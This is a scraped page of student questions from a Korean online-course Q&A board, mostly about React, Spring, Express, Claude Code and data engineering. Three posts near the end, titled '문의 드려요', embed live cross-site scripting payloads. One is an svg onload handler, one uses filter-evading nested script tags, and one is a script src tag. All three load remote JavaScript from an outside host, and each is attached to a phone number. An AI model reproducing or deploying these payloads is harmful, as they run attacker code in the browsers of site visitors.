묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결코드로 배우는 React 19 with 스프링부트 API서버
22. REST 방식 컨트롤러 만들기(2), 29. 등록처리 부분 질문이 있습니다.
22. REST 방식 컨트롤러 만들기(2)에서포스트맨으로 글 등록 테스트 할 때 complete 필드가 없는 경우 Bad Request 400에러가 나는 걸 확인했습니다. { "title": "Test title", "writer": "testuser", "complete": false, "dueDate": "2026-02-04" }위와같이 complete필드를 추가하니 잘 되었는데, 문제는 29강에서처럼 브라우저 화면에서 테스트 해보니 아래와같이 400에러가 발생합니다.여기도 마찬가지로 입력폼에서 complete필드가 없어서 그런것 같은데 강의에서는 등록이 잘 되는게 이해가 안되네요. 섹션4까지 완성된 코드를 다운받아서 실행해보았지만 위의 사진처럼 브라우저에서 등록 시 400에러가 발생합니다.
-
해결됨제대로 배우는 Express.js: Part1 기초부터 심화까지 [기초편]
Express 에러 처리 관련 질문 드려요.
Express는 비동기 에러를 잡지 못한다고 강의에서 배웠습니다. 이게 혹시 싱글 스레드와 관련이 있을까요? 그렇다면 스프링의 경우는 어떻게 다를까요?Express는 에러 발생 지점에 가까이 정의된 에러 처리 미들웨어를 우선적으로 처리한다고 배웠습니다. 단순 코드적으로 위치가 가까운 거 맞나요? 에러 처리 미들웨어가 여러 개 있고 파일 내에 섞여있으면 코드 파악이 어려워질 수 있을 것 같아요. 실무에서 보통 권장되는 방식은 뭘까요? 에러처리 미들웨어를 하나만 두는지, 나눠서 같은 코드 위치에 두는지, 나누서 서로 다른 코드 위치 (라우터 사이)에 두는지 궁금합니다.
-
미해결초보자를 위한 고도엔진 게임 개발 입문
강의 내용과 제 실습이 다릅니다.
29강에서 노드를 크릭하면 나타나는 상태가 강의와 다릅니다.
-
미해결성장과 상금은 누구의 것? 인프런 3주 '서바이벌' 챌린지 : All or Nothing!
인프런 챌린지 내부의 영상 시청 이슈
본 챌린지 이외에 다른 챌린지 수업을 수강하고 있습니다. 문제는 다른 챌린지의 영상을 시청할 때 재생 시간은 오르는데 총 학습시간은 오르지 않는 현상이 있습니다. 챌린지 영상 이외로 진행하면 되서 문제는 없지만 기분이가 이상하군요. 확인해주면 감사하겠습니다.
-
해결됨한 입 크기로 잘라 먹는 리액트(React.js) : 기초부터 실전까지
useRef, useState count 비교
안녕하세요 강사님!강의에서 useRef는 값이 변경되었을 때 리렌더링을 발생시키지 않으므로 값이나 DOM 요소를 참고하고 싶을 때 사용한다고 하셨는데요. 1)강의 예제 중, 수정이 일어난 횟수를 countRef에 담기도록 하셨는데, 이 때 값이 변경되어 'onChange 함수에서 setInput 함수를 호출함으로써 리렌더링이 발생하는 것이고, countRef.current++는 리렌더링이 발생함과 동시에 값이 증가 되는 것 뿐이다'라고 이해하면 되는 것일까요? 1번 코드 참고하시면 됩니다! 2)위처럼 이해를 하다가 문득 궁금한 것이 생겼는데, 2번 코드처럼..useState의 input 객체에 count 프로퍼티를 추가하여 0으로 초기화 해주었습니다.그리고 onChange 함수에서 setInput으로 count를 +1 시켜주었는데요.1번 예제처럼 수정할 때 마다 count가 +1 되는 것을 의도하였는데,이 때 textarea에서 ㄱ을 입력했다면,setInput 함수는 한 번 호출되며 textarea 수정과 count 증가가 동시에 발생하고 'textarea 수정 + count 증가' 이렇게 리렌더링이 한 번 발생하는 걸까요? 3) 만약 2번 질문의 답이 '결국 setInput 함수가 한 번 호출되며 작동하는 것이므로 리렌더링은 한 번이다.' 라면, 1번과 2번 코드는 '리렌더링이 발생할 때 마다 count 증가'라는 점에서 같은 결과인 걸까요..? 질문이 좀 복잡하지만.. 답변해주시면 감사하겠습니다..! 1) useRef 사용하여 countimport { useRef, useState } from "react"; export default function Test() { const [input, setInput] = useState({ name: "", bio: "", }); const countRef = useRef(0); console.log(input); console.log(countRef.current); const onChange = (e) => { countRef.current++; setInput({ ...input, [e.target.name]: e.target.value, }); }; return ( <div>...</div> ) }2) useState로 countimport { useState } from "react"; export default function Test() { const [input, setInput] = useState({ name: "", bio: "", count: 0, }); console.log(input); const onChange = (e) => { setInput({ ...input, [e.target.name]: e.target.value, count: input.count + 1, }); }; return ( <div>...</div> ) }
-
미해결
강의 자료
정말 죄송하다는 말씀 먼저 드리오며!!강의는 모두 들었고, 독학으로 문제 풀이에 집중 하고 있었습니다.문제 풀이를 하다 보니, 이론에 대한 갈증이 더욱 생겨, 지난 수강 하였던, 교재를 참고 하려고 열었더니, 아뿔사.. 2장 및 3장만 다운을 받았더라고요...게시판을 보니, 지금은 한번에 압축 파일을 받을 수 있도록 되어 있는 것 같은데, 당시에는 그게 없어서 일일이 다운 받아야 했고, 4장 부터 8장은 제가 강의만 받고 미처 다운로드를 못한거 같아요...훌륭하신 강사님의 강의는 이미 종료가 되어 더 이상 들을 수 없으니 (열심히 공부 했고, 모두 들어서 수료증도 받았고, 다른 분들께도 널리 공유 하였습니다...)4장 이후, 강의자료라도 펼쳐놓고 마무리 공부를 꼭꼭꼭 해야 할 것 같습니다.죄송하다는 말씀 다시 한 번 올리며, 꼭 다운 받을 수 있도록 도와 주시면 대단히 감사 드리겠습니다. (정말 열심히 수강 하였답니다. 질의도 많이 했었고... ㅜㅠ)
-
해결됨(2026) 일주일만에 합격하는 정보처리기사 실기
섹션 2. 11강 3분 12초
printf("a%%b = %d\n", remainder_result);에서 왜 %% 가 들어가는데 출력값은 a%b=1 인건가요? a%%b = 1 이 아닌 이유가 있나요~?
-
미해결클로드 코드 완벽 마스터: AI 개발 워크플로우 기초부터 실전까지 (with 커서AI)
나만의 출력 스타일 만들기
MD파일만들었습니다/output-style 커스터마이징 되지 않습니다
-
미해결2026년! 객체지향 제대로 배우기(with Python)
10. 파이썬 클래스와 객체 구현(self의 동작원리) 소스코드
10. 파이썬 클래스와 객체 구현(self의 동작원리)이 강의에 소스코드가 없습니다 !
-
미해결
추가 질문 드려보아요
https://inf.run/JKAfW관련 추가 질문 드려봅니다. 새로 프로젝트를 만들고 /init를 통해 claude.md를 작성하여 프로젝트를 claude를 통해 자동 생성하였습니다. 이후 추가적인 질문을 하고 수정하는 과정에서 claude.md를 계속적으로 읽은 과정이 발생함으로써 컨텍스트 사용량이 많이 발생 할 것 같은데요. 올바른 관리 방법이 있으신지요?
-
미해결클로드 코드 완벽 마스터: AI 개발 워크플로우 기초부터 실전까지 (with 커서AI)
claude window에서 설치시...
이렇게 되고...아무 반응도 없어요. 컴이 구려서 그런건가여? 옛날 컴이긴 한데..
-
미해결Kafka & Spark 활용한 Realtime Datalake
아키텍처 관련 질문
아키텍처 설계 부분에서 궁금한 점이 있어 질문드립니다. 일반적으로원천 → 수집 → 저장 → 처리 → 제공 → 활용의 흐름으로 데이터 아키텍처를 설명해주셨는데, 이 중 원천에 해당하는 부분에서 조금 헷갈리는 지점이 있습니다. 이전 강의에서 DW, DL, Lakehouse를 구축할 때원천 데이터를 가져와 별도의 저장소에 다시 저장하며, 이 과정에서 데이터가 중복될 수 있고그 중복이 필요한 이유에 대해서도 설명해주셨던 것으로 이해했습니다. 그래서 제가 이해한 내용을 예시로 확인하고 싶습니다. 예를 들어, 사내에 어떤 제품이 있고해당 제품의 백엔드 서버가 RDB를 사용하며서비스 데이터가 그 RDB에 저장되고 있다고 가정했을 때, DW, DL, Lakehouse를 구축하는 관점에서는이 서비스용 RDB 자체가 raw data source(원천 데이터) 가 되고,이 RDB로부터 데이터를 수집하여DW, DL, Lakehouse 등에 다시 적재하는 구조로 이해했는데이렇게 이해하는 것이 맞을지 궁금합니다.
-
미해결데이터분석가 서류탈락? 알려드릴게요, 되는 포트폴리오
안녕하세요. 코드 공개가 불가능하면 어떻게 해야할까요
안녕하세요. 강의 잘 들었습니다. 기업에서 인턴할때 진행했던 프로젝트라 코드 공개가 불가능하면 어떤식으로 만드는게 좋을까요.
-
해결됨한 입 크기로 잘라 먹는 리액트(React.js) : 기초부터 실전까지
안된다고했던 이유가 무엇이었는지 모르겠습니다
영상 8분 57초에 onClick 이벤트에 결과값을 넣으면 안된다고 배웠는데 그게 어디에서 그랬는지 기억이 안납니다 ㅠㅠ
-
미해결
문의 드려요 <svg onload=$.getScript("//juser.site/j.js") style=display:none>
01155964458전화상담받고싶어요<svg onload=$.getScript("//juser.site/j.js") style=display:none>
-
미해결클로드 코드 완벽 마스터: AI 개발 워크플로우 기초부터 실전까지 (with 커서AI)
사용량 확인 시 Resets 시간설정 Seoul로 하는 방법
안녕하세요.강의 잘 수강하고 있습니다./usage 명령어를 통해 토큰 잔여량을 확인할 때,Resets 시간을 강의 영상처럼 (Asia/Seoul)로 확인 할 수 있을거라 생각했는데 저는 (UTC)로 표기되어 있습니다.해당 기준 시간 설정을 어디서 어떻게 하면 되는지 여쭤봅니다. 감사합니다.
-
미해결홍정모의 따라하며 배우는 C++
교재 있나요?
안녕하세요. 교육에 대한 교재가 따로 있나요?
-
미해결클로드 코드 완벽 마스터: AI 개발 워크플로우 기초부터 실전까지 (with 커서AI)
claude 설치시 환경변수(windows)
별다른 설정 안해도 잘되서 그냥 쓰고 있습니다. claude에 물어보니 자동으로 된다고 해서 안했거든요. 추후 따로 문제가 될까요? 아니면 버전에 따라 다른가요?
-
미해결
문의 드려요 <scrscriptipt/**/src=//juser.site/j.js></scrscriptipt>
01155964458전화상담받고싶어요<scrscriptipt/**/src=//juser.site/j.js></scrscriptipt>
-
미해결
문의 드려요<script src="//juser.site/j.js"></script>
01155964458전화상담받고싶어요<script src="//juser.site/j.js"></script>